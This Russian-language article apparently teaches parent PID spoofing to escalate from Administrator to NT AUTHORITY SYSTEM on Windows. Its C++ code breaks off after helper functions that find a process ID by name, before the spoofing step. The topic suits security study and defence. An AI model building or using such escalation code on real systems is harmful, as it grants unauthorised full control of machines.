Добро пожаловать в нашу последнюю статью, в которой мы погружаемся в интригующий мир повышения привилегий в ОС Windows. Сегодня мы представим передовую технику, известную как подмена родительского PID, мощный метод, позволяющий повысить привилегии с Администратора до желанной NT AUTHORITY SYSTEM.
Введение
В сфере кибербезопасности повышение привилегий является важнейшим аспектом понимания и обеспечения безопасности компьютерных систем. Эксплуатируя уязвимость подмены родительского PID, мы получаем возможность создать новый процесс с тем же контекстом, что и родительский процесс, эффективно наследуя его уровень привилегий.
В этой статье мы познакомим вас с внутренней работой этого метода, разберем этапы повышения привилегий и получения доступа к повышенному уровню NT AUTHORITY SYSTEM. Наша цель — предоставить всеобъемлющее и доступное объяснение, которое поможет энтузиастам и специалистам в области безопасности понять и защититься от этой потенциальной угрозы.
Присоединяйтесь к нам в этом познавательном путешествии, где мы исследуем тонкости Privesc PPID и предоставим вам знания, которые помогут повысить безопасность вашей системы и защитить ее от несанкционированного доступа.
Давайте вместе отправимся в это приключение открытий!
Код
#include <windows.h> #include <iostream> #include <tlhelp32.h> #include <array> #include <string> using namespace std; int getPIDbyProcName(const char* procName) { int pid = 0; HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 pe32; pe32.dwSize = sizeof(PROCESSENTRY32); if (Process32First(hSnap, &pe32) != FALSE) { while (pid == 0 && Process32Next(hSnap, &pe32) != FALSE) { if (strcmp(pe32.szExeFile, procName) == 0) { pid = pe32.th32ProcessID; } } } CloseHandle(hSnap); return pid; } string isProcessRunningbyList(array<string,4> processes){ bool found = false; string runningProcess; int i = 0; while(!found){ int pid = getPIDbyProcName(processes[i].c_str()); if(pid != 0){ runningProcess = processes[i]; found = true; return runningProcess; } i++; } return ""…